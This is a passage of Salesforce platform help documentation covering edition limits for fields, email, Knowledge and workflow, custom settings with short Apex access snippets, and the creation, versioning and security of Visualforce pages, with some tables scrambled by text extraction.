The number of custom fields allowed per object varies according to your Salesforce Edition. The maximum number of activities, long text area fields, rich text area fields, relationship fields, and roll-up summary fields varies as well. The following table shows the maximum limits for each custom field type and edition.

2191

Develop

Salesforce Editions and Limits

Custom Field Personal Limits Edition Activities Long Text Area Fields Rich Text Area Fields Relationship Fields Roll-up Summary Fields

Contact Manager

Group Edition

Professional Edition

Enterprise Edition 100

Developer Edition 100

Unlimited Edition 100

No additional No additional No additional 20 limit limit limit

There are no limits to the number of rich text area and long text area fields that an object can contain, although your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256 characters. No additional 25 limit No additional 10 limit 25 10 25 10 25 10 25 10 25 10

Email Limits
Feature Email Templates: Maximum Size Email to Salesforce Personal Edition Contact Manager Group Edition Professional Enterprise Edition Edition Unlimited Edition Developer Edition

384 KB for text email templates

384 KB for text, HTML, and custom HTML templates 1 MB for Visualforce templates

For all editions: Email body truncation size: 32 KB Maximum number of email activities created for each email received: 50 Maximum size of a single file attachment: 5 MB Total maximum size of file attachments: 10 MB N/A N/A Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB1 Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB1 Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB1 Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB1

Email Services: Maximum N/A Number of Email Messages Processed

Email Services: Maximum N/A Size of Email Message (Body and Attachments) Email-to-Case: Maximum N/A Number of Emails Converted per Day

N/A

N/A

N/A

N/A

5 MB for file attachments. 2 GB for feed attachments.

5 MB for file attachments. 2 GB for feed attachments.

5 MB for file attachments. 2 GB for feed attachments.

5 MB for file attachments. 2 GB for feed attachments.

2192

Develop

Salesforce Editions and Limits

Feature Extended Mail Merge: Maximum Number of Records Extended Mail Merge: Maximum Total Size of Selected Templates Merge Field:
Case.Email_Thread

Personal Edition 1,000

Contact Manager 1,000

Group Edition 1,000

Professional Enterprise Edition Edition 1,000 1,000

Unlimited Edition 1,000

Developer Edition 1,000

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

N/A

N/A

For Group, Professional, Enterprise, Unlimited, and Developer Editions: Maximum number of emails: 200 Email body truncation size: 32 KB N/A 10 MB 10 MB 10 MB 10 MB

On-Demand N/A Email-to-Case: Maximum Email Attachment Size On-Demand N/A Email-to-Case: Maximum Number of Email Messages Processed (Counts toward limit for Email Services)

N/A

N/A

N/A

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000

The maximum size of email messages for Email Services varies depending on language and character set.

Salesforce Knowledge Limits


Salesforce Personal Knowledge Limits Edition Maximum number N/A of articles Maximum number N/A of article types Maximum number N/A of custom fields per article type Maximum file fields N/A Maximum file field N/A size Maximum rich text area size Maximum number of supported languages Contact Manager N/A N/A N/A Group Edition N/A N/A N/A Professional Enterprise Edition Edition N/A N/A N/A 10,000 100 500 Developer Edition Unlimited Edition

N/A N/A

N/A N/A

N/A N/A

5 File fields are counted as Attachments and can be up to 5 MB. 32 K 16

2193

Develop

Salesforce Editions and Limits

Salesforce Personal Knowledge Limits Edition Article import N/A

Contact Manager N/A

Group Edition N/A

Professional Enterprise Edition Edition N/A

Developer Edition

Unlimited Edition

The import .zip file must meet the following requirements: There can only be one .csv file and one .properties file. The .csv file and the .properties file must be in the root directory. The compression process must preserve the folder and subfolder structure. The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB. .csv files cant have more than 10,000 rows, including the header row. Therefore, you can have a maximum of 9,999 articles and translations. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB. Each article in the .csv file cant have more than 49 translations.

Maximum number N/A of data category groups Maximum number N/A of active data category groups Maximum number N/A of categories per data category group Maximum number N/A of levels in data category group hierarchy Maximum number N/A of data categories from a data category group assigned to an article

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

100

N/A

N/A

N/A

N/A

N/A

N/A

Rules Limits
Different types of rules can have restrictions, depending on your Salesforce edition. The following table shows the restrictions for each edition.

2194

Develop

Salesforce Editions and Limits

Restrictions Active Rules (Limits apply to any combination of active workflow, assignment, auto-response, and escalation rules. Total Rules Allowed (Limits apply to any combination of workflow, assignment, auto-response, and escalation rules, both active and inactive.)

Personal Edition N/A

Contact Manager N/A

Group Edition N/A

Professional Edition 50 per object

Enterprise Edition 50 per object

Developer Edition 50 per object

Unlimited Edition 50 per object

N/A

N/A

N/A

300 per object 300 per object 300 per object 300 per object 1,000 per organization 1,000 per organization 1,000 per organization 1,000 per organization

Assignment, N/A Auto-response, and Escalation Rules

N/A

N/A

For Professional, Enterprise, Developer, and Unlimited Editions, each assignment, auto-response, and escalation rule can have: 3,000 rule entries 300 formula criteria rule entries 25 filter criteria per rule entry 200 200 200 200

Total Actions N/A Allowed Per Rule

N/A

N/A

Workflow and Approvals Limits


Workflow and Approvals Limits Personal Edition Contact Manager N/A Group Edition N/A Professional Enterprise Edition Edition N/A Developer Edition Unlimited Edition

Approval Processes N/A

For Enterprise, Developer, and Unlimited Editions, each approval process can have up to: 15 steps per process 25 approvers per step Each organization can have up to: 500 approval processes per object

2195

Develop

Salesforce Editions and Limits

Workflow and Approvals Limits

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Developer Edition

Unlimited Edition

1,000 processes per organization

Approval Request N/A Comments: Maximum Number of Characters Workflow Rules and Approval Processes N/A

N/A

N/A

N/A

Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters. For Enterprise, Developer, and Unlimited Editions, each workflow rule and approval process can have: 10 time triggers 40 immediate actions 40 time-dependent actions per time trigger Note that for both immediate and time-dependent actions, there can be no more than: 10 email alerts 10 tasks 10 field updates 10 outbound messages 50 1,000

N/A

N/A

N/A

Workflow Time N/A Triggers Per Hour (For more information, see Time-Dependent Action and Time Trigger Considerations on page 1877.) Workflow Emails Per Day (For more information, see N/A

N/A

N/A

250 (Workflow is available as an add-on feature for Professional Edition.)

500

N/A

N/A

N/A

1,000 per standard

1,000 per standard

1,000 per standard Salesforce license

2196

Develop

Custom Settings Overview

Workflow and Approvals Limits Workflow Daily Email Limit on page 1884.)

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition Salesforce license

Developer Edition Salesforce license

Unlimited Edition 2,000,000 per organization

2,000,000 2,000,000 per per organization organization

See Also:
Monitoring Resources Force.com API Usage Limits Customer Portal Setup Limits Salesforce.com Limits Quick Reference

Custom Settings Overview


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, Apex, and the SOAP API. There are two types of custom settings: List Custom Settings A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits. Hierarchy Custom Settings A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or lowest, value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

2197

Develop

Custom Settings Overview

The following examples illustrate how you can use custom settings: A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the database. An application calculates and tracks compensation for its sales reps, but commission percentages are based on seniority. By creating a hierarchy setting, the administrator can associate a different commission percentage for each profile in the sales organization. Within the application, one formula field can then be used to correctly calculate compensation for all users; the personalized settings at the profile level inserts the correct commission percentage. An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the Sales Rep profile.

Follow these steps to create and use custom settings: 1. 2. 3. 4. Create the custom setting. Add fields to the custom setting. Add data and set the access level for the custom setting data. Reference the custom setting data in your application, using formula fields, validation rules, Apex, or the SOAP API.

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility setting. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using a standard Apex or API script run by the subscribing organization after they have installed the package.

Managing Custom Settings


Click New to create a new custom setting. After you create a custom setting, you must add fields to it. After you create a custom setting, you can do any of the following: Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting. Click Del to delete a custom setting. Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a custom setting installed from a managed package. Click Manage to add data to a custom setting. You should add fields before you add data.

See Also:
Accessing Custom Settings Custom Settings Limits Defining Custom Settings Viewing Custom Settings

2198

Develop

Custom Settings Overview

Custom Settings Limits


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

Salesforce imposes these limits on the amount of cached data and on custom settings: The total amount of cached data allowed for your organization is the lesser of these two values: 10 MB 1 MB multiplied by the number of full-featured user licenses in your organization For example, if your organization has three full licenses, you have 3 MB of custom setting storage. If your organization has six full licenses, you have 10 MB of storage. 300 fields per custom setting. You cant share a custom setting object or record. No owner is assigned when a custom setting is created, so the owner cant be changed. Custom settings are a type of custom object. Each custom setting counts against the total number of custom objects available for your organization. For information about the number of custom objects available based on edition, see Salesforce Editions and Limits on page 2182.

To see how much custom settings data your organization is using, click Your Name > Setup > Develop > Custom Settings. This page also details how much resource each custom setting uses, including the number of records and the size of the custom setting definition.

See Also:
Custom Settings Overview Accessing Custom Settings Defining Custom Settings Adding Custom Settings Fields Adding Custom Settings Data

2199

Develop

Custom Settings Overview

Accessing Custom Settings


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

You can access custom settings from formula fields, validation rules, Apex, and the SOAP API. Some sample code segments are provided below. Formula Fields Formula fields only work for hierarchy custom settings; they cant be used for list custom settings. For more information, see Creating On-Demand Applications: An Introduction to the Force.com Platform.
{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex Apex can access both custom setting types. Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package, the subscribing organization cannot edit the values or access them using Apex. For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide. Samples for List Custom Settings When you add data to a custom setting, you must name each set of data. Then you can distinguish between the sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns values for all custom fields associated with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Samples for Hierarchy Custom Settings The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

2200

Develop

Defining Custom Settings

The following example uses the getInstance method to return the data set values for the specified profile. The getInstance method can also be used with a user Id.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

SOAP API Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed. Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the custom setting is not accessible using the API in either the developer organization or a subscribing organization. Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the SOAP API Developer's Guide. Note: You can also access custom settings data through a Standard Object Query Language (SOQL) query but this method doesn't make use of the application cache. Its similar to querying a custom object.

See Also:
Custom Settings Overview Custom Settings Limits Defining Custom Settings Apex Code Overview

Defining Custom Settings


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

To create or edit a custom setting: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click New to create a new custom setting, click Edit next to the name of a custom setting, or click Edit while viewing the details of a custom setting. Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a custom setting installed from a managed package. 3. Define the following:

2201

Develop

Defining Custom Settings

LabelEnter the label displayed in the application. Object NameEnter the name to be used when the custom setting is referenced by formula fields, validation rules,

Apex, or the SOAP API. Note: Salesforce.com recommends using ASCII for the Object Name. The name can't exceed 38 ASCII characters. If you use double byte, there are additional limits on the number of characters allowed.
Setting TypeSelect a type of List or Hierarchy. The List type defines application-level data, such as country codes

or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be overridden at lower levels in the hierarchy. Important: After you save a custom setting, you cannot change this value.

VisibilitySelect a visibility of Protected or Public.

ProtectedIf the custom setting is contained in a managed package, subscribing organizations can't see the custom setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as if the Visibility was Public.) PublicThe custom setting is available through the Enterprise WSDL like any custom object. You can package custom settings defined as public. The subscribing organizations can edit the values, as well as access them using Apex and the API, regardless of the type of package (either managed or unmanaged). Important: After you save a custom setting, you cannot change this value.

4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences between your custom settings when youre viewing them in a list. 5. Click Save. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using a standard Apex or API script run by the subscribing organization after they have installed the package. After you create a custom setting, you must also add fields to the custom setting.

See Also:
Custom Settings Overview Adding Custom Settings Fields Adding Custom Settings Data

2202

Develop

Viewing Custom Settings

Viewing Custom Settings


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields. Click Your Name > Setup > Develop > Custom Settings, then click the name of the custom setting you'd like to view. While viewing a custom setting, you can: Click Edit to make changes to a custom setting. Click Delete to delete a custom setting. Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a custom setting installed from a managed package. Click Manage to add data to a custom setting.

In addition, click New to add fields to the custom setting.

See Also:
Custom Settings Overview Accessing Custom Settings Defining Custom Settings

Adding Custom Settings Fields


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you define custom settings, you need to add custom fields to them. The custom fields contain the data used by the custom setting.

2203

Develop

Managing Custom Settings Data

To add custom fields to a custom setting: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken directly to the Custom Setting Detail page.) 3. Click New. 4. Select a field type and click Next. 5. Enter the details for your custom field. 6. Once you confirm the information, click Save or Save & New. After you add the required fields, you need to add data, and for hierarchy custom settings, specify the access level.

See Also:
Custom Settings Overview Defining Custom Settings Adding Custom Settings Data

Managing Custom Settings Data


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After defining custom settings and adding fields, populate the fields: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click Manage next to a custom setting, or from the detail page for a custom setting. 3. Provide or change values for the custom setting. If you are managing a list setting: Click New to add data to the fields. Click Edit next to the name of an existing set of data to change the name of the data set or to change the data. Click Del next to the name of an existing set of data to delete the data set. If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data (organization, profile, or user). To add default data at the organization level, click New in the Default Organization Level Value section. If data has already been defined for the organization, you can only edit or delete it. To add default data at the profile or user level, click New in the lower section of the page, near the Setup Owner. After you have defined data, you can:

2204

Develop

Managing Custom Settings Data

Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or Delete to delete it (this is only for hierarchical custom settings.) Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.) Click Edit next to the name of an existing set of data to change the name of the data set or to change the data. Click Del next to the name of an existing set of data to delete the data set.

See Also:
Custom Settings Overview Custom Settings Limits Adding Custom Settings Fields Adding Custom Settings Data

Adding Custom Settings Data


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you define your custom settings and add fields, you need to populate the fields with data. You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using Apex, formula fields, and so on. For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application, that data is used. For example, you might want to specify different contact numbers for your application: one for the general user, and one that is only displayed for system administrators. To add data to custom setting fields: 1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting. Or from the detail page for a custom setting, click Manage. 2. Click New or Edit next to an existing data set. 3. Add or change data. For custom settings that are lists: a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on. b. Enter or change data for all fields. c. Click Save. For custom settings that are hierarchies:

2205

Develop

Visualforce Overview

a. For the default organization level values, enter or change the data for the fields. The default organization location is automatically populated. b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the profile or user, or use the lookup dialog search. Then enter or change the data for the fields. c. Click Save.

See Also:
Custom Settings Overview Defining Custom Settings Viewing Custom Settings Managing Custom Settings Data Adding Custom Settings Fields

Viewing Custom Settings Data


Available in: Group, Professional, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you add fields and add data to those fields, you can view the data. 1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting that has already been defined. Or from the detail page for a custom setting, click Manage. 2. Click View next to the data set you want to view (this is only for hierarchical custom settings).

See Also:
Custom Settings Overview Defining Custom Settings Adding Custom Settings Fields Adding Custom Settings Data

Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the Salesforce user interface. With Visualforce you can:

2206

Develop

Visualforce Overview

Create custom user interfaces that easily leverage standard Salesforce styles Create custom user interfaces that completely replace the standard Salesforce styles Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction

Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a custom controller or controller extension written in Apex.

Browser Security Settings and Visualforce


Some Visualforce pages are run from *.force.com servers. If you set your browser's trusted sites to include *.salesforce.com, you must also add *.force.com to the list. Depending on your browser and browser settings, you may see an error similar to the following on some pages: Your browser privacy settings have prevented this page from showing some content. To display this content you need to change your browser privacy settings to allow "Third Party" cookies from the domain mypages.na1.visual.force.com. Alternatively, if your browser is Internet Explorer, you can add mypages.na1.visual.force.com. to your trusted sites list in the security options page. Salesforce includes a Platform for Privacy Preferences Project (P3P) header on some pages. The header is composed of the following settings: Purpose CUR - Information is used to complete the activity for which it was provided. Category STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a particular site or accessed particular content previously; for example, HTTP cookies. Recipient OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage. If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see Platform for Privacy Preferences (P3P) Project. If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one above, perform one of the following actions: Configure P3P for your browser Change your browser settings to allow third-party cookies

2207

Develop

How Do Visualforce Pages Compare to S-Controls?

Add the appropriate server to your browser's cookies exception list

See Also:
Enabling Development Mode Defining Visualforce Pages Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? What is a Custom Component? Developer's Guide: Visualforce Developer's Guide

How Do Visualforce Pages Compare to S-Controls?


Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible, both for their increased performance and the ease with which they can be written. The following table outlines the differences between Visualforce pages and s-controls. Visualforce Pages Required technical skills Language style Page override model HTML, XML Tag markup Assemble standard and custom components using tags S-Controls HTML, JavaScript, Ajax Toolkit Procedural code Write HTML and JavaScript for entire page No No No Developers can't bind an input component with a particular field. Instead, they must write JavaScript code that uses the API to update the database with user-specified field values. No, must bring in Salesforce stylesheets manually

Standard Salesforce component library Yes Access to built-in platform behavior Data binding Yes, through the standard controller Yes Developers can bind an input component (such as a text box) with a particular field (such as Account Name). If a user saves a value in that input component, it is also saved in the database. Stylesheet inheritance Yes

2208

Develop

Enabling Development Mode

Visualforce Pages Respect for field metadata, such as uniqueness Yes, by default If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is automatically displayed and the user can try again.

S-Controls Yes, if coded in JavaScript using a describe API call If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is only displayed if the s-control developer wrote code that checked those attributes.

Interaction with Apex Performance

Direct, by binding to a custom controller Indirect, by using Apex webService methods through the API More responsive because markup is generated on the Force.com platform Less responsive because every call to the API requires a round trip to the serverthe burden rests with the developer to tune performance In an iFrame

Page container

Native

Enabling Development Mode


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable development mode: Customize Application

Although you can view and edit Visualforce page definitions from the setup area by clicking Your Name > Setup > Develop > Pages, enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you with: A special development footer on every Visualforce page that includes the pages view state, any associated controller, a link to the component reference documentation, and a page markup editor that offers highlighting, find-replace functionality, and auto-suggest for component tag and attribute names. The ability to define new Visualforce pages just by entering a unique URL. Error messages that include more detailed stack traces than what standard users receive.

To enable Visualforce development mode: 1. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit. 2. Select the Development Mode checkbox. 3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the development footer. This tab is useful for monitoring the performance of your Visualforce pages.

2209

Develop

Defining Visualforce Pages

4. Click Save.

See Also:
Visualforce Overview Defining Visualforce Pages Developer's Guide: Visualforce Developer's Guide

Defining Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application

You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup. To create a page using Visualforce developer mode: 1. In your browser, enter a URL in the following form: https://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page definition. For example, if you want to create a page called HelloWorld and your Salesforce organization uses the na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld. Note: Page names cannot be longer than 40 characters.

2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the nameOfNewPage value you specified in the URL. To create pages in Setup: 1. Click Your Name > Setup > Develop > Pages. 2. Click New. 3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom tabs, or overriding standard buttons. 5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately 1,000,000 characters.

2210

Develop

Defining Visualforce Pages

6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use. Generally, you should use the default values for all versions. This associates the page with the most recent version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package components or functionality that differs from the most recent package version. 7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and continue editing your page. Your Visualforce markup must be valid before you can save your page. Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages in a single window. Once your page has been created, you can access it using a URL in the following form: http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the Name field on your page definition.

See Also:
Visualforce Overview Enabling Development Mode Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application

To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API, and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package

2211

Develop

Defining Visualforce Pages

versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for a Visualforce page: 1. Edit a Visualforce page and click Version Settings. Note: You can only access the version settings for a page if you edit a page by clicking Your Name > Setup > Develop > Pages. You cannot access them if you edit a page using Developer Mode. 2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page. 3. Click Save. To configure the package version settings for a Visualforce page: 1. Edit a Visualforce page and click Version Settings. 2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the page or component. 3. Click Save. Note the following when working with package version settings: If you save a Visualforce page that references a managed package without specifying a version of the managed package, the Visualforce page is associated with the latest installed version of the managed package by default. You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce page. Use Show Dependencies to find where the managed package is referenced.

See Also:
Defining Visualforce Pages Enabling Development Mode Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? Managing Packages Developer's Guide: Visualforce Developer's Guide

2212

Develop

Managing Visualforce Pages

Managing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit Visualforce pages: Customize Application

After creating Visualforce pages, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Pages to display the Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page, you can: Click New to define a new Visualforce page. Click a page name to display detailed information about the page, including its label and Visualforce markup. Click Edit next to a page name to modify the page's name, label, or Visualforce markup. Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a Visualforce page in a managed package. Click Del to remove a page. Click Security to manage the security for the page. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 2036.

See Also:
Visualforce Overview Viewing and Editing Visualforce Pages Creating Visualforce Tabs Visualforce Page Security Overview Developer's Guide: Visualforce Developer's Guide

Visualforce Page Security Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can specify which users can execute a particular Visualforce page based on their profile or an associated permission set.

2213

Develop

Visualforce Page Security Overview

Permission for a Visualforce page is checked at the top level only. Once users can access a page, they can execute all Apex that's associated with the page. This includes: The controller for the page and any Apex classes called from the controller class Any extension classes for the page and any Apex called from an extension Any Apex classes associated with custom components within the page Any classes associated with the page through the use of apex:include or apex:composition

For example, if page A depends on a controller that calls an Apex class B, and a user has access only to page A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. You can set Visualforce page security from: A Visualforce page definition Permission sets Profiles

If users have the Customize Application permission, they can access all Visualforce pages in the associated organization. However, they may still have restrictions related to Apex classes. The Customize Application permission doesn't allow users to ignore those restrictions in a Visualforce page unless they have Visualforce page access. Also, to include Apex in a page, users must have the Author Apex permission or access to the Apex class. Note: Organizations with Force.com sites or Customer Portals can enable Visualforce pages either by assigning them to user profiles or by enabling them for the entire site.

See Also:
Managing Visualforce Pages Apex Class Security Overview

Setting Visualforce Page Security from a Page Definition


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set Visualforce page security: Manage Users AND Customize Application

1. Click Your Name > Setup > Develop > Pages. 2. Next to the name of the page that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add.

2214

Develop

Visualforce Page Security Overview

4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save.

See Also:
Visualforce Page Security Overview

Setting Visualforce Page Security from Profiles


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set Visualforce page security: Manage Users

1. 2. 3. 4.

